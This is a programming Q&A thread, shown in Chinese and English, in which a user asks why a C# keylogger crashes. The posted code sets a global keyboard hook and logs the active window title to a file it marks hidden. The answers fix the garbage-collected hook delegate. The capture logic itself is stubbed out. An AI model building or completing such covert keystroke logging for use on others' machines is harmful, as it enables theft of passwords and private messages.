键盘记录程序崩溃

发布于 2025-01-04 09:27:47 字数 3881 浏览 0 评论 0原文

我一直在用 C#、Windows 窗体开发键盘记录器,但我在某些方面遇到了困难。当我运行我的代码时,它工作正常并记录 20-25 个击键,但之后程序突然崩溃,这些显示的错误消息是:(第一条完全难住了我)

1.对垃圾收集委托类型进行了回调'karan_keylogger!karan_keylogger.Form1+LowLevelKeyboardProc::Invoke'。这可能会导致应用程序崩溃、损坏和数据丢失。将委托传递给非托管代码时,托管应用程序必须使它们保持活动状态,直到保证它们永远不会被调用。

2.然后它显示“对象引用未设置到对象的实例。(我熟悉这个)

代码如下:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Security;
using System.Security.AccessControl;
using System.Security.Principal;
using System.Runtime.InteropServices;
using System.Timers;
using System.Diagnostics;


namespace karan_keylogger
{
    public partial class Form1 : Form
    {
        KeysConverter kc;
        private delegate IntPtr LowLevelKeyboardProc(int nc,IntPtr wparam,IntPtr lparam);
        //private static LowLevelKeyboardProc keyhook = detect;
        StreamWriter sw;
        private const int WM_KEYDOWN = 0x0100;
        bool shiftDown, inBetween, numLockPressed;
        string currWindow, prevWindow,path;
        IntPtr x;
        [DllImport("User32.dll")]
        public static extern int GetWindowText(int hwnd, StringBuilder s, int nMaxCount);
        [DllImport("User32.dll")]
        public static extern int GetForegroundWindow();
        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook,LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
            IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

        public Form1()
        {
            InitializeComponent();
            kc = new KeysConverter();
            path="E:\\data.txt";
            shiftDown = false;
            //shiftUp = true;
            inBetween = false;
            numLockPressed = false;
            currWindow = getTitle();
            prevWindow = currWindow;
            File.SetAttributes(path,FileAttributes.Normal);
            sw = new StreamWriter(path, true);
            sw.AutoFlush = true;
            sw.WriteLine("Time: "+DateTime.Now.ToShortTimeString()+" Date: "+DateTime.Now.ToShortDateString()+" Window: "+currWindow+"-   ");
            File.SetAttributes(path, FileAttributes.Hidden | FileAttributes.ReadOnly);
            LowLevelKeyboardProc keyhook = new LowLevelKeyboardProc(detect);
            Process curProcess = Process.GetCurrentProcess();
            ProcessModule curModule = curProcess.MainModule;
            //private delegate IntPtr LowLevelKeyboardProc(int nc,IntPtr wparam,IntPtr lparam);
            x = SetWindowsHookEx(13, keyhook, GetModuleHandle(curModule.ModuleName),0);
       }

        private void Form1_FormClosing(object sender, FormClosingEventArgs e)
        {
            UnhookWindowsHookEx(x);
        }
        private string getTitle()
        {
            int handle = GetForegroundWindow();
            StringBuilder sb = new StringBuilder(1000);
            GetWindowText(handle, sb, 1000);
            string winText = sb.ToString();
            return winText;
        }

        private IntPtr detect(int ncode, IntPtr wparam, IntPtr lparam)
        {
            // logic for keystroke storing
            return CallNextHookEx(x, ncode, wparam, lparam);
        }
    }
}

任何帮助将非常感激,这是一个宠物项目!..

I had been working on a key-logger in C#, windows forms, and I'm stuck up on some point.When I run my code, it works fine and records 20-25 keystrokes, but after that the program suddenly crashes and these are the error messages shown: (the first one completely stumps me)

1.A callback was made on a garbage collected delegate of type 'karan_keylogger!karan_keylogger.Form1+LowLevelKeyboardProc::Invoke'. This may cause application crashes, corruption and data loss. When passing delegates to unmanaged code, they must be kept alive by the managed application until it is guaranteed that they will never be called.

2.Then it shows 'Object Reference not set to an instance of the object.(Iam familiar with this one)

Code is as follows:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Security;
using System.Security.AccessControl;
using System.Security.Principal;
using System.Runtime.InteropServices;
using System.Timers;
using System.Diagnostics;


namespace karan_keylogger
{
    public partial class Form1 : Form
    {
        KeysConverter kc;
        private delegate IntPtr LowLevelKeyboardProc(int nc,IntPtr wparam,IntPtr lparam);
        //private static LowLevelKeyboardProc keyhook = detect;
        StreamWriter sw;
        private const int WM_KEYDOWN = 0x0100;
        bool shiftDown, inBetween, numLockPressed;
        string currWindow, prevWindow,path;
        IntPtr x;
        [DllImport("User32.dll")]
        public static extern int GetWindowText(int hwnd, StringBuilder s, int nMaxCount);
        [DllImport("User32.dll")]
        public static extern int GetForegroundWindow();
        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook,LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
            IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

        public Form1()
        {
            InitializeComponent();
            kc = new KeysConverter();
            path="E:\\data.txt";
            shiftDown = false;
            //shiftUp = true;
            inBetween = false;
            numLockPressed = false;
            currWindow = getTitle();
            prevWindow = currWindow;
            File.SetAttributes(path,FileAttributes.Normal);
            sw = new StreamWriter(path, true);
            sw.AutoFlush = true;
            sw.WriteLine("Time: "+DateTime.Now.ToShortTimeString()+" Date: "+DateTime.Now.ToShortDateString()+" Window: "+currWindow+"-   ");
            File.SetAttributes(path, FileAttributes.Hidden | FileAttributes.ReadOnly);
            LowLevelKeyboardProc keyhook = new LowLevelKeyboardProc(detect);
            Process curProcess = Process.GetCurrentProcess();
            ProcessModule curModule = curProcess.MainModule;
            //private delegate IntPtr LowLevelKeyboardProc(int nc,IntPtr wparam,IntPtr lparam);
            x = SetWindowsHookEx(13, keyhook, GetModuleHandle(curModule.ModuleName),0);
       }

        private void Form1_FormClosing(object sender, FormClosingEventArgs e)
        {
            UnhookWindowsHookEx(x);
        }
        private string getTitle()
        {
            int handle = GetForegroundWindow();
            StringBuilder sb = new StringBuilder(1000);
            GetWindowText(handle, sb, 1000);
            string winText = sb.ToString();
            return winText;
        }

        private IntPtr detect(int ncode, IntPtr wparam, IntPtr lparam)
        {
            // logic for keystroke storing
            return CallNextHookEx(x, ncode, wparam, lparam);
        }
    }
}

Any help would be really appreciated, this is a pet project!..

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(2

谁对谁错谁最难过 2025-01-11 09:27:47

正如错误消息所示,非托管代码不会使托管资源保持活动状态。您正在创建一个局部变量 keyhook 并将其传递给 SetWindowHookEx (即传递到非托管代码中)。

然后退出构造函数,keyhook 变量超出范围,从代码的角度来看,它不再在任何地方被引用,这意味着它已准备好进行垃圾回收。但非托管代码将继续使用它。当垃圾收集器启动时,委托就会丢失,并且您将收到错误消息。

只需将您的委托声明为类成员,而不是局部变量。

private LowLevelKeyboardProc keyhook;

As the error message says, unmanaged code will not keep managed resources alive. You're creating a local variable, keyhook and passing it to SetWindowHookEx (i.e. into unmanaged code).

Then you exit your constructor, the keyhook variable goes out of scope, from your code's point of view it's no longer referenced anywhere, and that means it's ready for garbage collection. But the unmanaged code will keep using it. When the garbage collector sets in, the delegate is lost, and you'll get the error message.

Simply declare your delegate as a class member, rather than a local variable.

private LowLevelKeyboardProc keyhook;
待天淡蓝洁白时 2025-01-11 09:27:47

使 keyhook 成为表单的成员,而不是构造函数中的本地变量

public partial class Form1: Form      
{ 
   LowLevelKeyboardProc keyhook;

   public Form1()
   {
       keyhook = new LowLevelKeyboardProc(detect);
   }

}

Make keyhook a member of your form instead of a local var in the constructor

public partial class Form1: Form      
{ 
   LowLevelKeyboardProc keyhook;

   public Form1()
   {
       keyhook = new LowLevelKeyboardProc(detect);
   }

}
~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文